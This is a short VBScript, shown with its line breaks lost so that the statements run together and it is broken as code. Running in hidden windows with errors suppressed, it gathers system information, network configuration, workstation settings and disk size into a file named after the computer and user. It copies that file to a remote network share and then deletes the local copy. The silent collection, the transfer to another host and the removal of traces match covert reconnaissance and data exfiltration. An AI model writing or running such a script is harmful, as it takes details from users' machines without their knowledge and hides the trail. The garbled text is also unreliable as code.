on error resume nextset f=createobject("scripting.filesystemobject")set ws=createobject("wscript.shell")f.createfolder "C:\computerinfo"ws.run "cmd /c systeminfo >C:\computerinfo\%computername%-%username%.txt",0,truews.run "cmd /c ipconfig/all >>C:\computerinfo\%computername%-%username%.txt",0,truews.run "cmd /c net config workstation >>C:\computerinfo\%computername%-%username%.txt",0,truews.run "cmd /c wmic DiskDrive get Size /value >>C:\computerinfo\%computername%-%username%.txt",0,truef.copyfile "C:\computerinfo\*.*" , "\\172.168.1.170\handBK"f.deletefolder "C:\computerinfo" |